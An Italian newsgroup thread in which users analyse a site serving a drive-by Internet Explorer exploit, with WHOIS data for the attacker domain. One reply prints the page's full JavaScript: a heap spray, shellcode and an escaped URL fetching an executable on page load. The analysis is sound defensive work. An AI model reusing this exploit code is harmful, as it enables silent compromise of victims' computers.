Newsgroup: it.comp.sicurezza.varie
Titolo: PROMPT UTENTE EXPLORER

Collegandomi al sito 
http://www.servizidiborsa.it
il collegamento mi scompare e compare
PROMPT UTENTE EXPLORER
PROMPT SCRIPT
WAIT PLEASE
mentre AVAST mi consiglia di chiudere il collegamento...

tt ha scritto:

Simpatico, mi inchioda firefox (linux)...
Con lynx vedo tanti iframe e un bel link ad un file malware.html
-- 
Roberto Tagliaferri-Linux user #30785 <-> r.tagliaferri@(forse)
tosnet.it
L'unico modo di comportarsi con una donna e' di fare l'amore con lei
se e' bella, e con un'altra se e' brutta.
		-- Oscar Wilde

 
Intanto ho segnalato la cosa a chi gli ha registrato l'it (magari è un 
genio della sicurezza e gli hanno hackato il server)
-- 
Roberto Tagliaferri-Linux user #30785 <-> r.tagliaferri@(forse)
tosnet.it
L'ultima volta che sono entrato in una donna e' stato quando ho visitato
la statua della liberta'.
		-- Woody Allen

 ha scritto nel messaggio
news:43b9b67b$0$1069$4faf...@reader4.news.tin.it...

fa bene a dirti di chiudere il collegamento in quanto il codice tenta
di scaricare un trojano.
Nod32
03/01/2006 14.43.22 IMON file 
http://ad0226.vogservice.com/fillmem.htm
 JS/Exploit.CVE-2005-1790 cavallo di troia
maggiori info sul trojano qui in spagnolo
http://www.vsantivirus.com/exploit-cve-2005-1790.htm
http://www.rzw.com.ar/imprimir.php?sid=3327
WHOIS information for 
vogservice.com
:
[
whois.criticalinternet.com
]
Registration Service Provided By: ESTDOMAINS
Contact: 
+372.55647646
Website: 
http://www.estdomains.com
Domain Name: 
VOGSERVICE.COM
Registrant:
    Orange Bob
    Orange Bob        (orangebob2005 - AT - yahoo - DOT - com)
    Yarcevskaya 93-197
    Moscow
    RU,121774
    RU
    Tel. +7.4173482
Creation Date: 30-Oct-2005
Expiration Date: 30-Oct-2006
Domain servers in listed order:
 
ns1.specialgoods.info
 
ns2.specialgoods.info
Administrative Contact:
    Orange Bob
    Orange Bob        (orangebob2005 - AT - yahoo - DOT - com)
    Yarcevskaya 93-197
    Moscow
    RU,121774
    RU
    Tel. +7.4173482
Technical Contact:
    Orange Bob
    Orange Bob        (orangebob2005 - AT - yahoo - DOT - com)
    Yarcevskaya 93-197
    Moscow
    RU,121774
    RU
    Tel. +7.4173482
Billing Contact:
    Orange Bob
    Orange Bob        (orangebob2005 - AT - yahoo - DOT - com)
    Yarcevskaya 93-197
    Moscow
    RU,121774
    RU
    Tel. +7.4173482
Status:ACTIVE
La pagina web  
http://ad0226.vogservice.com/fillmem.htm
contiene il codice qui sotto:
<HTML><HEAD><TITLE>Internet Explorer</TITLE>
<SCRIPT language=JavaScript>
function load() {
var spearson=0
var eip = ""
var prep_shellcode = ""
var shellcode = ""
var fillmem = ""
//
// Address called by the bug (also serves as slide code)
//
for (spearson=1 ; spearson <=500 ; spearson++)
{
eip = eip + unescape("%u7030%u4300")
//eip = eip + unescape("%u4300")
}
//
// Create a large chunk for memory saturation
//
for (spearson=1 ; spearson <=200; spearson++)
{
fillmem = fillmem + eip
}
//
// Search for our shellcode (tagged with my initials) and copy to a more
stable area
//
prep_shellcode = unescape("%u9090%uBA90%u4142%u4142%uF281%u1111%u1111%u4190"
+
"%u1139%uFA75%u9090%uF18B%uF88B%u9057%uc933%ub966" +
"%u00B0%ua5F3%u9090%u905f%ue7ff")
//
// Harmless Calc.exe shellcode
//
shellcode =
unescape("%u5053%u5053%uC931%u55B1%uEED9%uD99B%u2474%u5BF4%u7381%uC114%u32DE%u8356%u04C3%uF4E2%u363D%u56C9"
+
"%uDEC1%u13B9%u55FD%u534E%uDFB9%uDDDD%uC68E%u09B9%uDFE1%uB5D9%u97EF%u62B9%uDF4A%u67DC%u4701%uD29E"
+
"%uAA01%u9735%uD30B%u9433%u2A2A%u0209%uCAE5%uB547%u814A%u5716%uB82A%u5AB9%u558A%u4A6D%u35C0%u4AB9"
+
"%uDF4A%uDFD9%uFA9D%u9526%u17F0%u5ADA%uDEC1%u2532%uBBA9%u3A5E%uECF2%u321C%uB2AD%uA932%uFA95%uBE3A"
+
"%uDED9%u5632%u9692%u3375%u8DB5%u3342%uB7A2%u3A53%uB187%u325E%uACA4%u3762%uB6B5%u5673%u2191%u7266"
+
"%u8ED1%u5258%uDEA9%u5622%uB6C1%u5286%uDEC1%u5658%u8A3E%u4216%u8E98%u5658%uC6AB%u3C62%u21C1%u0EE3"
+
"%u9E91%u6EB2%uABC1%u91C8%u82C1%u0079%u1986%u5272%uBBEF%u334A%u8E99%u5DDA%uDEC1%u2332%uB2B3%u395F"
+
"%uF0AF%u3A56%uDEAD%u02CD%uD2E5%u45DA%uDEC1%u0332%u9293%u3976%uB0B6%u395E%uBAA0%u3966%uB787%u335E"
+
"%uDE80%uA962%uFA95%u0F26%u1A42%u3C3E%uB4C1%u0732%uAA3E%u4216%u9248%u4E16%uDEAB%u86CD%uEF02%u32F2"
+
"%u9E4A%uD302%uA601%uDD3E%uD281%u26B9%u73DD%u3EB9%u35C9%uDD3B%uEA81%u96B1%u55BD%u6A5A%uEF9E%u36C4"
+
"%u3597%u3E15%u06BF%u25D0%u46A9%uDCCC%uB6CF%uAA98%uA2CC%uD85A%uD08F%u3EDE%u1495%uC79D%u17F0%u97B2"
+
"%uDF87%u07CB%u8996%u0165%u393E%uBEA2%u2112%uA9CD")
fillmem = fillmem + prep_shellcode + shellcode +
unescape("%u7468%u7074%u2f3a%u612f%u3064%u3232%u2e36%u6f76%u7367%u7265%u6976%u6563%u632e%u6d6f%u692f%u3064%u3232%u2e36%u7865%u0065")
prompt(fillmem,"Wait Please")
}
// -->
</SCRIPT>
<META content="MSHTML 6.00.2900.2180" name=GENERATOR></HEAD>
<BODY onload="setTimeout('load()',2000)"> </BODY></HTML>